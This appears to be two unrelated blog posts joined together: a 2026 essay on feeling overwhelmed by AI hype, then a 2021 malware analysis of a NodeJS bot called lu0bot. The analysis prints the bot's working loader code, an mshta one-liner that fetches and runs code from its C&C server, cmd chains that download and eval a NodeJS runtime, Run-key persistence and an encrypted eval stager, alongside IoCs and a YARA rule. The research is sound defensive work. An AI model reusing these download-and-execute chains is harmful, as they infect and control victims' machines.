“Errata2pl1793” by Rodak, public domain, via Wikimedia Commons. Resized.
“Sony Dream Machine at 6:37am” by arvind grover, CC BY-SA 2.0, via Wikimedia Commons. Resized.
Street Fighter (1994), dir. Steven E. de Souza.
“Laughing Man” by Cddigi, CC BY-SA 4.0, via Wikimedia Commons. Logo from Ghost in the Shell: Stand Alone Complex (2002), dir. Kenji Kamiyama.
“PS Main Control Room, 1974” by CERN PhotoLab, CC BY-SA 4.0, via Wikimedia Commons. Resized.
“Chongqing Skyline At Night” by Maple Doctor, CC BY-SA 4.0, via Wikimedia Commons. Resized.
“Coca-Cola bottles” by DeusXFlorida, CC BY 2.0, via Wikimedia Commons.
“Electronics workbench” by James Bastow, CC BY-SA 2.0, via Wikimedia Commons. Resized.

You're Not the Worst One Here

Fri, 27 Mar 2026 19:30:00 +0000

Every morning I open my phone and there it is again. Another model dropped. Another framework that "changes everything." Another person on X/LinkedIn explaining, with quiet confidence, how they've already integrated AI into every corner of their workflow while the rest of us were apparently still figuring out folders.

It's exhausting in a way that's hard to describe. You feel behind before you've even started. Opening a browser to learn something feels like arriving at a party three years after it ended.

I've been in this feeling for a while. Most people either pretend they're fine or quietly give up, so I want to say it out loud.

Bots talking to bots, and you're watching

Tyler Durden said it in Fight Club: "You are not your khakis." But there's another line that's been stuck in my head lately. The narrator, describing himself on a photocopier: "I am Jack's copy of a copy of a copy."

In 2026, that's the internet.

Large language models trained on content produced by earlier large language models. Image generators scraping outputs from other image generators. Social network posts written by AI, reshared by bots, rewritten by other AIs, and served to you as proof that everyone is moving faster than you.

The people who understand what they're talking about are a small fraction of the noise. The rest is a convincing simulation of expertise running on a loop, and it feels artificial.

I often skip long LinkedIn posts now, because they feel machine-generated and I don't want to waste my time. Those well-organized posts on "how I incorporate AI into my daily routine" are there to make you click for their stats, but the content itself is mediocre, and you've probably seen it before.

The Dead Internet theory goes back to 2016, and it's strange to watch it take shape in front of us.

That atmosphere of constant, breathless expertise is manufactured by bots, by agents configured by people with something to sell, and by individuals resharing content they don't fully understand, in authoritative-sounding language, to attract an audience.

The irony is that the technology making you feel behind is the same technology creating the illusion that everyone is ahead. It's the perfect game, set inside the real-world simulator we all live in.

The "everyone is already an expert" feeling is algorithmically amplified and synthetically generated.

If the noise seemed hollow and the confidence felt staged, you were right. Trust that instinct.

The internet broke your brain on purpose

I'm not going to medicalize it with clinical terms. But if you feel paralyzed, you're not weak. The environment is irrational.

You sit down to learn one thing, and by the time you understand it, three newer things have replaced it. The pressure to constantly absorb, adapt, and build, on top of your actual job and your actual life, keeps piling up. The people generating it don't carry it themselves: most of them are bots, or people who've learned to perform certainty they don't feel.

The people who seem unaffected are either deep in and past the initial overwhelm, or they stopped engaging and started performing. Neither is something to aspire to. Your discomfort means you're taking this seriously. It doesn't mean you're too late.

The people ahead of you are also lost

Some people started earlier, and that matters. I'm not going to pretend the gap is imaginary.

But the skills for AI-exposed roles change faster than in other jobs, from what I've been reading. So the people who were "early" are constantly re-learning too. The model they mastered three months ago is already partly obsolete.

From my own experience, I see people daily using ChatGPT as they did in 2023. They started then and haven't changed their habits, sticking to what they know. But when you show them Claude Code plugged into Claude Opus 4.6, they're blown away by possibilities they never considered.

I get it. Staying with what works feels rational. But when the tools change underneath you, staying comfortable means falling behind slowly. I learned that the hard way, and I'd rather say it out loud than pretend I figured it all out gracefully.

The playing field doesn't reset to zero, but it moves. Getting in now still puts you above the people who never step in, and the field isn't gatekeeping yet, at least in 2026.

But I gave you a warning, I mean seriously.

There's a version of "starting with AI" that I think is a trap. People will tell you to just let AI do it: generate the whole project, don't worry about understanding the code or logic, the AI handles it.

Say you ask AI to build something in a language you don't know, for a codebase you've never touched. It works. You ship it. Three weeks later a customer reports a critical bug. The AI isn't available. Maybe the service is down, maybe you've hit your usage limit, maybe the model's been updated and doesn't produce the same output. Whatever the reason, it's gone. And you're standing in front of code you cannot read, for a problem you cannot diagnose, with a customer who is not happy.

This isn't hypothetical. A lot of people are walking toward that cliff with confidence.

My rule: always work in a language you understand. Always know what the code is doing. Let AI make you faster at things you already grasp, and don't use it to bypass the grasping. If you can do something yourself and understand it, then let AI handle the parts you don't enjoy. Delegate the tedious, not the critical.

AI is a powerful assistant. If it replaces your own understanding, you're building dependency, and in a field this unstable that is dangerous.

Everyone's fighting for the same door

The mainstream AI conversation is obsessed with the same tools, the same language and the same problems, chased by the same people. The interesting work is happening at the edges, where AI meets something it doesn't understand on its own.

A nurse who understands AI beats an AI engineer who knows nothing about healthcare. A teacher who can use AI to rethink how students learn has something no prompt engineer can replicate. Most of the mainstream conversation chases AI expertise and ignores the domain expertise that makes it useful.

As AI-generated content floods everything, human perspectives get rarer, which makes them worth more. The more the internet fills with synthetic text and manufactured takes, the more a real voice, with real experience and real uncertainty, stands out. Being human, with a specific history and a specific lens, is an asset in a way it wasn't two years ago.

I don't know exactly where my angle is yet. But I'm looking. And if you're reading this, you probably are too.

Start anyway

Everything may not be fine, and the overwhelm may not go away. But the question you're asking, is there still room for me?, only gets answered by stepping in and finding out.

The noise will still be there tomorrow, and most of it will be fake. The gap is smaller than it looks and the field is more open than it feels.

Start as someone building to understand.

Lu0bot - An unknown NodeJS malware using UDP

Thu, 24 Jun 2021 08:37:41 +0000

In February and March 2021, a curious lightweight payload was observed coming from a well-known load-seller platform. Unlike classic info-stealers that are pushed at an industrial scale, this one looks different from the current landscape and trends. Feeling being in front of a grey box is somewhat a stressful problem, where you have no idea about what it could be behind and how it works, but in another way, it also means that you will learn way more than a usual standard investigation.

I didn't feel like this since Qulab and at that time, this AutoIT malware gave me some headaches due to its packer. but after cleaning it and realizing it's rudimentary, the challenge was over. In this case, analyzing NodeJS malware is definitely another approach.

I will just expose some current findings of it, I don't have all answers, but at least, it will door opened for further researches.

Disclaimer: I don't know the real name of this malware.

Minimalist C/C++ loader

When lu0bot is deployed on a machine, the first stage is a 2.5 ko lightweight payload which has only two section headers.

Curious PE Sections

Written in C/C++, only one function has been developed.

void start()
{
 char *buff; 

 buff = CmdLine;
 do
 {
 buff -= 'NPJO'; // The key seems random after each build
 buff += 4; 
 }
 while ( v0 < &CmdLine[424] );
 WinExec(CmdLine, 0); // ... to the moon ! \o/
 ExitProcess(0);
}

This rudimentary loop is focused on decrypting a buffer, unveiling then a one-line JavaScript code executed through WinExec()

Simple sub loop for unveiling the next stage

Indeed, MSHTA is used executing this malicious script. So in term of monitoring, it's easy to catch this interaction.

mshta "javascript: document.write();
42;
y = unescape('%312%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%321%32').split('~');
103;
try {
 x = 'WinHttp';
 127;
 x = new ActiveXObject(x + '.' + x + 'Request.5.1');
 26;
 x.open('GET', y[1] + '&a=' + escape(window.navigator.userAgent), !1);
 192;
 x.send();
 37;
 y = 'ipt.S';
 72;
 new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
 179;
} catch (e) {};
234;;
window.close();"

Setting up NodeJs

Following the script from above, it is designed to perform an HTTP GET request from a C&C (let's say it's the first C&C Layer). Then the response is executed as an ActiveXObject.


new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);

Let's inspect the code (response) step by step

cmd /d/s/c cd /d "%ALLUSERSPROFILE%" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe [...]

Set the console into %ALLUSERPROFILE% path
Create fake folder DNTException

[...] || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);
 x.Open("GET",unescape(WScript.Arguments(0^)^),false^);
 x.Send(^);
 b = new ActiveXObject("ADODB.Stream"^);
 b.Type=1;
 b.Open(^);
 b.Write(x.ResponseBody^);
 b.SaveToFile(WScript.Arguments(1^),2^); 
 > get1618489872131.txt 
 & cscript /nologo /e:jscript get1618489872131.txt "http://hri2.xyz/hri/?%HEXVALUE%&b=%HEXVALUE%" node.cab 
 & expand node.cab node.exe 
 & del get1618489872131.txt node.cab 
) [...]

Generate a js code-focused into downloading a saving an archive that will be named "node.cab"
Decompress the cab file with expand command and renamed it "node.exe"
Delete all files that were generated when it's done

[...] & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1618489872131.txt [...]

Recreate a js script that will execute again some code

[...] cscript /nologo /e:jscript get1618489872131.txt "node -e eval(FIRST_STAGE_NODEJS_CODE)" & del get1618489872131.txt [...]

In the end, this whole process is designed for retrieving the required NodeJS runtime.

Lu0bot nodejs loader initialization process

Matryoshka Doll(J)s

Luckily the code is in fact pretty well written and comprehensible at this layer. It is 20~ lines of code that will build the whole malware thanks to one and simple API call: eval.

implistic lu0bot nodejs loader that is basically the starting point for everything

From my own experience, I'm not usually confronted with malware using UDP protocol for communicating with C&C's. Furthermore, I don't think in the same way, it's usual to switch from TCP to UDP like it was nothing. When I analyzed it for the first time, I found it odd to see so many noisy interactions in the machine with just two HTTP requests. Then I realized that I was watching the visible side of a gigantic iceberg...

Well played OwO

For those who are uncomfortable with NodeJS, the script is designed to sent periodically UDP requests over port 19584 on two specific domains. When a message is received, it is decrypted with a standard XOR decryption loop, the output is a ready-to-use code that will be executed right after with eval. Interestingly the first byte of the response is also part of the key, so it means that every time a response is received, it is likely dynamically different even if it's the same one.

In the end, lu0bot is basically working in that way

lu0bot nodejs malware architecture

After digging into each code executed, It really feels that you are playing with matryoshka dolls, due to recursive eval loops unveiling more content/functions over time. It's also the reason why this malware could be simple and complex at the same time if you aren't experienced with this strategy.

The madness philosophy behind eval() calls

For adding more nonsense it is using different encryption algorithms whatever during communications or storing variables content:

XOR
AES-128-CBC
Diffie-Hellman
Blowfish

Understanding Lu0bot variables

S (as Socket)

Fundamental Variable
UDP communications with C&C's
Receiving main classes/variables
Executing "main branches" code

function om1(r,q,m) # Object Message 1
 |--> r # Remote Address Information
 |--> q # Query 
 |--> m # Message

function c1r(m,o,d) # Call 1 Response
 |--> m # Message
 |--> o # Object
 |--> d # Data

function sc/c1/c2/c3(m,r) # SetupCall/Call1/Call2/Call3
 |--> m # Message
 |--> r # Remote Address Information

function ss(p,q,c,d) # ScriptSetup / SocketSetup
 |--> p # Personal ID
 |--> q # Query 
 |--> c # Crypto/Cipher
 |--> d # Data

function f() # UDP C2 communications

KO (as Key Object?)

lu0bot mastermind
Containing all bot information
- C&C side
- Client side
storing fundamental handle functions for task manager(s)
- eval | buffer | file

ko {
 pid: # Personal ID
 aid: # Address ID (C2)
 q: # Query
 t: # Timestamp
 lq: {
 # Query List
 },
 pk: # Public Key
 k: # Key
 mp: {}, # Module Packet/Package 
 mp_new: [Function: mp_new], # New Packet/Package in the queue
 mp_get: [Function: mp_get], # Get Packet/Package from the queue
 mp_count: [Function: mp_count], # Packer/Package Counter
 mp_loss: [Function: mp_loss], # ???
 mp_del: [Function: mp_del], # Delete Packet/Package from the queue
 mp_dtchk: [Function: mp_dtchk], # Data Check
 mp_dtsum: [Function: mp_dtsum], # Data Sum
 mp_pset: [Function: mp_pset], # Updating Packet/Package from the queue
 h: { # Handle
 eval: [Function], 
 bufwrite: [Function],
 bufread: [Function],
 filewrite: [Function],
 fileread: [Function]
 },
 mp_opnew: [Function: mp_opnew], # Create New
 mp_opstat: [Function: mp_opstat], # get stats from MP
 mp_pget: [Function], # Get Packet/Package from MP
 mp_pget_ev: [Function] # Get Packet/Package Timer Intervals
}

MP

Module Package/Packet/Program?
Monitoring and logging an executed task/script.

mp: 
 { key: # Key is Personal ID
 { id: , # Key ID (Event ID)
 pid: , # Personal ID
 gen: , # Starting Timestamp
 last: , # Last Tick Update
 tmr: [Object], # Timer
 p: {}, # Package/Packet
 psz: # Package/Packet Size
 btotal: # ???
 type: 'upload', # Upload/Download type
 hn: 'bufread', # Handle name called
 target: 'binit', # Script name called (From C&C)
 fp: , # Buffer
 size: , # Size
 fcb: [Function], # FailCallBack
 rcb: [Function], # ???
 interval: 200, # Internval Timer
 last_sev: 1622641866909, # Last Timer Event
 stmr: false # Script Timer
}

Ingenious trick for calling functions dynamically

Usually, when you are reversing malware, you are always confronted (or almost every time) about maldev hiding API Calls with tricks like GetProcAddress or Hashing.

function sc(m, r) {
 if (!m || m.length < 34) return;
 m[16] ^= m[2];
 m[17] ^= m[3];
 var l = m.readUInt16BE(16);
 if (18 + l > m.length) return;
 var ko = s.pk[r.address + ' ' + r.port];
 var c = crypto.createDecipheriv('aes-128-cbc', ko.k, m.slice(0, 16));
 m = Buffer.concat([c.update(m.slice(18, 18 + l)), c.final()]);
 m = {
 q: m.readUInt32BE(0),
 c: m.readUInt16BE(4),
 ko: ko,
 d: m.slice(6)
 };
 l = 'c' + m.c; // Function name is now saved
 if (s[l]) s[l](m, r);
}

As someone that is not really experienced in the NodeJS environment, I wasn't really triggering the trick performed here but for web dev, I would believe this is likely obvious (or maybe I'm wrong). The thing that you need to really take attention to is what is happening with "c" char and m.c.

By reading the official NodeJs documemtation: The Buffer.readUInt16BE() method is an inbuilt application programming interface of class Buffer within the Buffer module which is used to read 16-bit value from an allocated buffer at a specified offset.

Buffer.readUInt16BE( offset )

In this example it will return in a real case scenario the value "1", so with the variable l, it will create "c1" , a function stored into the global variable s. In the end, s["c1"](m,r) is also meaning s.c1(m,r).

A well-done task manager architecture

Q variable used as Macro PoV Task Manager

"Q" is designed to be the main task manager.
If Q value is not on LQ, adding it into LQ stack, then executing the code content (with eval) from m (message).

if (!lq[q]) { // if query not in the queue, creating it
 lq[q] = [0, false];
 setTimeout(function() {
 delete lq[q]
 }, 30000);
 try {
 for (var p = 0; p < m.d.length; p++)
 if (!m.d[p]) break;
 var es = m.d.slice(0, p).toString(); // es -> Execute Script
 m.d = m.d.slice(p + 1);
 if (!m.d.length) m.d = false;
 eval(es) // eval, our sweat eval...
 } catch (e) {
 console.log(e);
 }
 return;
}
if (lq[q][0]) {
 s.ss(ko.pid, q, 1, lq[q][1]);
}

MP variable used as Micro PoV Task Manager

"MP" is designed to execute tasks coming from C&C's.
Each task is executed independantly!

function mp_opnew(m) {

 var o = false; // o -> object
 try {
 o = JSON.parse(m.d); // m.d (message.data) is saved into o
 } catch (e) {}
 if (!o || !o.id) return c1r(m, -1); // if o empty, or no id, returning -1 
 if (!ko.h[o.hn]) return c1r(m, -2); // if no functions set from hn, returning -2
 var mp = ko.mp_new(o.id); // Creating mp ---------------------------
 for (var k in o) mp[k] = o[k]; |
 var hr = ko.h[o.hn](mp); |
 if (!hr) { |
 ko.mp_del(mp); |
 return c1r(m, -3) // if hr is incomplete, returning -3 |
 } |
 c1r(m, hr); // returning hr | 
} |
 |
function mp_new(id, ivl) { <----------------------------------------------------
 var ivl = ivl ? ivl : 5000; // ivl -> interval
 var now = Date.now(); 
 if (!lmp[id]) lmp[id] = { // mp list 
 id: id,
 pid: ko.pid,
 gen: now,
 last: now,
 tmr: false,
 p: {},
 psz: 0,
 btotal: 0
 };
 var mp = lmp[id];
 if (!mp.tmr) mp.tmr = setInterval(function() {
 if (Date.now() - mp.last > 1000 * 120) {
 ko.mp_del(id);
 return;
 }
 if (mp.tcb) mp.tcb(mp);
 }, ivl);
 mp.last = now;
 return mp;
}

O (Object) - C&C Task

This object is receiving tasks from the C&C. Technically, this is (I believed) one of the most interesting variable to track with this malware..

It contains 4 or 5 values
- type.
  - upload
  - download
- hn : Handle Name
- sz: Size (Before Zlib decompression)
- psz: ???
- target: name of the command/script received from C&C

// o content
{ 
 id: 'XXXXXXXXXXXXXXXXX',
 type: 'upload',
 hn: 'eval',
 sz: 9730,
 psz: 1163,
 target: 'bootstrap-base.js',
}

on this specific scenario, it's uploading on the bot a file from the C&C called "bootstrap-base.js" and it will be called with the handle name (hn) function eval.

Summary

Aggressive telemetry harvester

Usually, when malware is gathering information from a new bot it is extremely fast but here for exactly 7/8 minutes your VM/Machine is literally having a bad time.

Preparing environment

Gathering system information

Process info

tasklist /fo csv /nh
wmic process get processid,parentprocessid,name,executablepath /format:csv
qprocess *

Network info

ipconfig.exe /all
route.exe print
netstat.exe -ano
systeminfo.exe /fo csv

Saving Environment & User path(s)

Saving environment variables EI_HOME (EI = EINFO)

EI_DESKTOP
 |--> st.env['EI_HOME'] + '\\Desktop';
EI_DOCUMENTS 
 |--> st.env['EI_HOME'] + '\\Documents';
 |--> st.env['EI_HOME'] + '\\My Documents';
EI_PROGRAMFILES1
 |--> var tdir1 = exports.env_get('ProgramFiles');
 |--> var tdir2 = exports.env_get('ProgramFiles(x86)');
 |--> st.env['EI_HOME'].substr(0,1) + '\\Program Files (x86)';
EI_PROGRAMFILES2
 |--> var tdir3 = exports.env_get('ProgramW6432');
 |--> st.env['EI_HOME'].substr(0,1) + '\\Program Files';
EI_DOWNLOADS
 |--> st.env['EI_HOME'] + '\\Downloads';

Console information

These two variables are basically conditions to check if the process was performed. (ISCONPROBED is set to true when the whole thing is complete).

env["ISCONPROBED"] = false;
env["ISCONSOLE"] = true;

Required values for completing the task..

env["WINDIR"] = val;
env["TEMP"] = val;
env["USERNAME_RUN"] = val;
env["USERNAME"] = val;
env["USERNAME_SID"] = s;
env["ALLUSERSPROFILE"] = val;
env["APPDATA"] = val;

Checking old windows versions

Curiously, it's checking if the bot is using an old Microsoft Windows version.

NT 5.X - Windows 2000/XP
NT 6.0 - Vista

function check_oldwin(){
 var osr = os.release();

 if(osr.indexOf('5.')===0 || osr.indexOf('6.0')===0) return osr;

 return false;
}
exports.check_oldwin = check_oldwin;

This is basically a condition after for using an alternative command with pslist

function ps_list_alt(cb){
 var cmd = ['qprocess','*'];
 if(check_oldwin()) cmd.push('/system');
 ....

Checking ADS streams for hiding content into it for later

Checking Alternative Data Streams

Harvesting functions 101

bufstore_save(key,val,opts) # Save Buffer Storage 
bufstore_get(key,clear) # Get Buffer Storage 
strstrip(str) # String Strip
name_dirty_fncmp(f1,f2) # Filename Compare (Dirty)
dirvalidate_dirty(file) # Directory Checking (Dirty)
file_checkbusy(file) # Checking if file is used
run_detached(args,opts,show) # Executing command detached
run(args,opts,cb) # Run command
check_oldwin() # Check if Bot OS is NT 5.0 or NT 6.0
ps_list_alt(cb) # PS List (Alternative way)
ps_list_tree(list,results,opts,pid) # PS List Tree
ps_list(arg,cb) # PS list 
ps_exist(pid) # Check if PID Exist
ps_kill(pid) # Kill PID
reg_get_parse(out) # Parsing Registry Query Result
reg_hkcu_get() # Get HKCU
reg_hkcu_replace(path) # Replace HKCU Path
reg_get(key,cb) # Get Content
reg_get_dir(key,cb) # Get Directory
reg_get_key(key,cb) # Get SubKey
reg_set_key(key,value,type,cb) # Set SubKey
reg_del_key(key,force,cb) # Del SubKey
get_einfo_1(ext,cb) # Get EINFO Step 1
dirlistinfo(dir,limit) # Directory Listing info 
get_einfo_2(fcb) # Get EINFO Step 2
env_get(key,kv,skiple) # Get Environment
console_get(cb) # Get Console environment variables
console_get_done(cb,err) # Console Try/Catch callback
console_get_s0(ccb) # Console Step 0
console_get_s1(ccb) # Console Step 1
console_get_s2(ccb) # Console Step 2
console_get_s3(ccb) # Console Step 3
ads_test() # Checking if bot is using ADS streams
diskser_get_parse(dir,out) # Parse Disk Serial command results
diskser_get(cb) # Get Disk Serial
prepare_dirfile_env(file,cb) # Prepare Directory File Environment
prepare_file_env(file,cb) # Prepare File Environment
hash_md5_var(val) # MD5 Checksum
getosinfo() # Get OS Information
rand(min, max) # Rand() \o/
ipctask_start() # IPC Task Start (Interprocess Communication)
ipctask_tick() # IPC Task Tick (Interprocess Communication)
baseinit_s0(cb) # Baseinit Step 0
baseinit_s1(cb) # Baseinit Step 1
baseinit_s2(cb) # Baseinit Step 2
baseinit_einfo_1_2(cb) # Baseinit EINFO

Funky Persistence

The persistence is saved in the classic HKCU Run path

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Intel Management Engine Components 4194521778"="wscript.exe /t:30 /nologo /e:jscript \"C:\ProgramData\Intel\Intel(R) Management Engine Components\Intel MEC 750293792\" \"C:\ProgramData\Intel\Intel(R) Management Engine Components\" 2371015226"

Critical files are stored into a fake "Intel" folder in ProgramData.

ProgramData
 |-- Intel
 |-- Intel(R) Management Engine Components
 |--> Intel MEC 246919961
 |--> Intel MEC 750293792

Intel MEC 750293792

new ActiveXObject("WScript.shell").Run('"C:\ProgramData\DNTException\node.exe" "' + WScript.Arguments(0) + '\Intel MEC 246919961" ' + WScript.Arguments(1), 0, false);

Intel MEC 246919961

var c = new Buffer((process.argv[2] + 38030944).substr(0, 8));
c = require("crypto").createDecipheriv("bf", c, c);
global["\x65\x76" + "\x61\x6c"](Buffer.concat([c.update(new Buffer("XSpPi1eP/0WpsZRcbNXtfiw8cHqIm5HuTgi3xrsxVbpNFeB6S6BXccVSfA/JcVXWdGhhZhJf4wHv0PwfeP1NjoyopLZF8KonEhv0cWJ7anho0z6s+0FHSixl7V8dQm3DTlEx9zw7nh9SGo7MMQHRGR63gzXnbO7Z9+n3J75SK44dT4fNByIDf4rywWv1+U7FRRfK+GPmwwwkJWLbeEgemADWttHqKYWgEvqEwrfJqAsKU/TS9eowu13njTAufwrwjqjN9tQNCzk5olN0FZ9Cqo/0kE5+HWefh4f626PAubxQQ52X+SuUqYiu6fiLTNPlQ4UVYa6N61tEGX3YlMLlPt9NNulR8Q1phgogDTEBKGcBlzh9Jlg3Q+2Fp84z5Z7YfQKEXkmXl/eob8p4Putzuk0uR7/+Q8k8R2DK1iRyNw5XIsfqhX3HUhBN/3ECQYfz+wBDo/M1re1+VKz4A5KHjRE+xDXu4NcgkFmL6HqzCMIphnh5MZtZEq+X8NHybY2cL1gnJx6DsGTU5oGhzTh/1g9CqG6FOKTswaGupif+mk1lw5GG2P5b5w==", "\x62\x61\x73" + "\x65\x36\x34")), c.final()]).toString());

The workaround is pretty cool in the end

WScript is launched after waiting for 30s
JScript is calling "Intel MEC 750293792"
"Intel MEC 750293792" is executing node.exe with arguments from the upper layer
This setup is triggering the script "Intel MEC 246919961"
- the Integer value from the upper layer(s) is part of the Blowfish key generation
- global["\x65\x76" + "\x61\x6c"] is in fact hiding an eval call
- the encrypted buffer is storing the lu0bot NodeJS loader.

Ongoing troubleshooting in production?

It is possible to see in some of the commands received, some lines of codes that are disabled. Unknown if it's intended or no, but it's pretty cool to see about what the maldev is working.

It feels like a possible debugging scenario for understanding an issue.

Outdated NodeJS still living and kickin'

Interestingly, lu0bot is using a very old version of node.exe, way older than could be expected.

node.exe used by lu0bot is an outdated one

This build (0.10.48), is apparently from 2016, so in term of functionalities, there is a little leeway for exploiting NodeJS, due that most of its APIs wasn't yet implemented at that time.

NodeJs used is from a 2016 build.

I feel old by looking the changelog...

The issue mentioned above is "seen" when lu0bot is pushing and executing "bootstrap-base.js". On build 0.10.XXX, "Buffer" wasn't fully implemented yet. So the maldev has implemented missing function(s) on this specific version, I found this "interesting", because it means it will stay with a static NodeJS runtime environment that won't change for a while (or likely never). This is a way for avoiding cryptography troubleshooting issues, between updates it could changes in implementations that could break the whole project. So fixed build is avoiding maintenance or unwanted/unexpected hotfixes that could caused too much cost/time consumption for the creator of lu0bot (everything is business \o/).

Interesting module version value in bootstrap-base.js

Of course, We couldn't deny that lu0bot is maybe an old malware, but this statement needs to be taken with cautiousness.

By looking into "bootstrap-base.js", the module is apparently already on version "6.0.15", but based on experience, versioning is always a confusing thing with maldev(s), they have all a different approach, so with current elements, it is pretty hard to say more due to the lack of samples.

What is the purpose of lu0bot?

Well, to be honest, I don’t know… I hate making suggestions with too little information, it's dangerous and too risky. I don’t want to lead people to the wrong path. It's already complicated to explain something with no "public" records, even more, when it is in a programming language for that specific purpose. At this stage, It's smarter to focus on what the code is able to do, and it is certain that it's a decent data collector.

Also, this simplistic and efficient NodeJS loader code saved at the core of lu0bot is basically everything and nothing at the same time, the eval function and its multi-layer task manager could lead to any possibilities, where each action could be totally independent of the others, so thinking about features like :

Backdoor?
Loader?
RAT?
Infostealer?

All scenario are possible, but as i said before I could be right or totally wrong.

Where it could be seen?

Currently, it seems that lu0bot is pushed by the well-known load seller Garbage Cleaner on EU/US Zones irregularly with an average of possible 600-1000 new bots (each wave), depending on the operator(s) and days.

Appendix

IoCs

IP

5.188.206[.]211

lu0bot loader C&C's (HTTP)

hr0[.]xyz
hr1[.]xyz
hr2[.]xyz
hr3[.]xyz
hr4[.]xyz
hr5[.]xyz
hr6[.]xyz
hr7[.]xyz
hr8[.]xyz
hr9[.]xyz
hr10[.]xyz

lu0bot main C&C's (UDP side)

lu00[.]xyz
lu01[.]xyz
lu02[.]xyz
lu03[.]xyz

Yara

rule lu0bot_cpp_loader
{
 meta:
 author = "Fumik0_"
 description = "Detecting lu0bot C/C++ lightweight loader"

 strings:
 $hex_1 = {
 BE 00 20 40 00 
 89 F7 
 89 F0
 81 C7 ?? 01 00 00 
 81 2E ?? ?? ?? ?? 
 83 C6 04 
 39 FE 
 7C ?? 
 BB 00 00 00 00 
 53 50 
 E8 ?? ?? ?? ??
 E9 ?? ?? ?? ??
 }
 
 condition:
 (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and
 (filesize > 2KB and filesize < 5KB) and 
 any of them
 
}

IoCs

fce3d69b9c65945dcfbb74155f2186626f2ab404e38117f2222762361d7af6e2 Lu0bot loader.exe
c88e27f257faa0a092652e42ac433892c445fc25dd445f3c25a4354283f6cdbf Lu0bot loader.exe
b8b28c71591d544333801d4673080140a049f8f5fbd9247ed28064dd80ef15ad Lu0bot loader.exe
5a2264e42206d968cbcfff583853a0e0d4250f078a5e59b77b8def16a6902e3f Lu0bot loader.exe
f186c2ac1ba8c2b9ab9b99c61ad3c831a6676728948ba6a7ab8345121baeaa92 Lu0bot loader.exe


8d8b195551febba6dfe6a516e0ed0f105e71cf8df08d144b45cdee13d06238ed response1.bin
214f90bf2a6b8dffa8dbda4675d7f0cc7ff78901b3c3e03198e7767f294a297d response2.bin
c406fbef1a91da8dd4da4673f7a1f39d4b00fe28ae086af619e522bc00328545 response3.bin

ccd7dcdf81f4acfe13b2b0d683b6889c60810173542fe1cda111f9f25051ef33 Intel MEC 246919961
e673547a445e2f959d1d9335873b3bfcbf2c4de2c9bf72e3798765ad623a9067 Intel MEC 750293792

Example of lu0bot interaction


ko
{ pid: 'XXXXXX',
 aid: '5.188.206.211 19584',
 q: XXXXXXXXXX, 
 t: XXXXXXXXXXXXX,
 lq: 
 { ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ] },
 pk: 'BASE64_ENCRYPTED',
 k: <Buffer 3c 60 22 73 97 cc 76 22 bc eb b5 79 46 3d 05 9e>,
 mp: 
 { XXXXXXXXXXXX: 
 { id: 'XXXXXXXXXXXX',
 pid: 'XXXXXXX',
 gen: XXXXXXXXXXXXX,
 last: XXXXXXXXXXXXX,
 tmr: [Object],
 p: {},
 psz: 1163,
 btotal: 0,
 type: 'download',
 hn: 'bufread',
 target: 'binit',
 fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,i
 size: 798,
 fcb: [Function],
 rcb: [Function],
 interval: 200,
 last_sev: XXXXXXXXXXXXX,
 stmr: false },
 XXXXXXXXXXXX: 
 { id: 'XXXXXXXXXXXX',
 pid: 'XXXXXXX',
 gen: XXXXXXXXXXXXX,
 last: XXXXXXXXXXXXX,
 tmr: [Object],
 p: {},
 psz: 1163,
 btotal: 0,
 type: 'download',
 hn: 'bufread',
 target: 'binit',
